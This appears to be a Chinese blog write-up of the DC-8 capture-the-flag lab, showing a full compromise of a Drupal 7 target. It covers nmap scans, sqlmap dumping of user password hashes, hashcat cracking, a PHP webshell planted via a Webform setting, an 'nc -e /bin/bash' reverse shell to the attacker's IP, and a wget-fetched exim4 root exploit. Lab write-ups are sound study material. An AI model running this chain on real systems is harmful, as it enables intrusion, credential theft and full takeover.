本文最后更新于 2026-03-31T18:38:32+08:00
环境搭建
过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
渗透测试
先 nmap 扫靶机 IP(又换了个网)
1
| nmap -sP 10.152.199.0/24
|

然后扫靶机的端口服务
1
| nmap -A -p- 10.152.199.231
|
22 端口的 SSH,还有 80 端口的 Drupal 7

先看 80 端口的 Web 服务

因为和 DC-1 一样的是 Drupal 7,所以先试试按照 DC-1 的打法,打 CVE-2018-7600 试试
1 2 3 4 5
| msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set payload php/meterpreter/reverse_tcp set rhosts 10.152.199.231 set lhost 10.152.199.174
|
不过没打通

那就换个思路,找别的漏洞点,发现选择左边的那些文章,有个 GET 参数nid

测试可能存在SQL注入

尝试利用 sqlmap 进行SQL注入
1
| sqlmap -u "http://10.152.199.231/?nid=1" --batch
|
确实存在 SQL 注入,可以通过布尔盲注、报错注入、时间盲注、联合注入来进行攻击

先看看数据库
1
| sqlmap -u "http://10.152.199.231/?nid=1" --dbs --batch
|
数据库:d7db

然后查表
1
| sqlmap -u "http://10.152.199.231/?nid=1" -D 'd7db' --tables --batch
|
有以下这些表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| Database: d7db [88 tables] +-----------------------------+ | block | | cache | | filter | | history | | role | | system | | actions | | authmap | | batch | | block_custom | | block_node_type | | block_role | | blocked_ips | | cache_block | | cache_bootstrap | | cache_field | | cache_filter | | cache_form | | cache_image | | cache_menu | | cache_page | | cache_path | | cache_views | | cache_views_data | | ckeditor_input_format | | ckeditor_settings | | ctools_css_cache | | ctools_object_cache | | date_format_locale | | date_format_type | | date_formats | | field_config | | field_config_instance | | field_data_body | | field_data_field_image | | field_data_field_tags | | field_revision_body | | field_revision_field_image | | field_revision_field_tags | | file_managed | | file_usage | | filter_format | | flood | | image_effects | | image_styles | | menu_custom | | menu_links | | menu_router | | node | | node_access | | node_revision | | node_type | | queue | | rdf_mapping | | registry | | registry_file | | role_permission | | search_dataset | | search_index | | search_node_links | | search_total | | semaphore | | sequences | | sessions | | shortcut_set | | shortcut_set_users | | site_messages_table | | taxonomy_index | | taxonomy_term_data | | taxonomy_term_hierarchy | | taxonomy_vocabulary | | url_alias | | users | | users_roles | | variable | | views_display | | views_view | | watchdog | | webform | | webform_component | | webform_conditional | | webform_conditional_actions | | webform_conditional_rules | | webform_emails | | webform_last_download | | webform_roles | | webform_submissions | | webform_submitted_data | +-----------------------------+
|
在users表中找找管理员的密码,看看列

中途换网,IP变成10.234.52.231
1
| sqlmap -u "http://10.234.52.231/?nid=1" -D 'd7db' -T 'users' --columns --batch
|
只看name和pass列就行了

1
| sqlmap -u "http://10.234.52.231/?nid=1" -D 'd7db' -T 'users' -C name,pass --dump --batch
|

1 2 3 4 5 6
| +--------+---------------------------------------------------------+ | name | pass | +--------+---------------------------------------------------------+ | admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | | john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | +--------+---------------------------------------------------------+
|
将哈希密码存放到pass.txt文件中

利用工具对密码进行解密,可以用 hashcat
1
| hashcat -m 7900 pass.txt /usr/share/wordlists/rockyou.txt
|

或者 john

可以得到john的密码是turtle,去登录后台
在后台中可以找到写代码的地方:Contact Us => Webform => From settings

注意这里要改成 PHP code,写入一句话木马,这里一句话木马上面的<p>...</p>删去了的话好像PHP代码就不能执行了,还是保留的好

保存后在 view 中随便写点东西提交

然后就可以看到代码成功被执行了

想直接连蚁剑的,发现好像没权限访问到

换个浏览器还真的不能访问到

那就直接执行反弹shell的命令了
1
| shell=system('nc -e /bin/bash 10.234.52.174 2333');
|


生成交互式shell
1
| /usr/bin/script -qc /bin/bash /dev/null
|

然后是提权,先看看能不能 SUID 提
1
| find / -perm -u=s -type f 2>/dev/null
|

能用exim4提,看看版本

找找POC

1
| /usr/share/exploitdb/exploits/linux/local/46996.sh
|
两种使用方法

靶机环境有wget,可以在kali开个HTTP服务,利用wget将POC文件传到靶机上

先将脚本复制到当前目录
1
| cp /usr/share/exploitdb/exploits/linux/local/46996.sh ./
|

起一个HTTP服务

靶机中利用wget下载脚本
1 2
| cd /tmp wget http://10.234.52.174/46996.sh
|

加个权限,然后执行第一个方法
1 2
| chmod +x 46996.sh ./46996.sh -m setuid
|
失败了

试试第二个方法
成功了

最后去root目录下读flag

总结
靶机学到的知识点: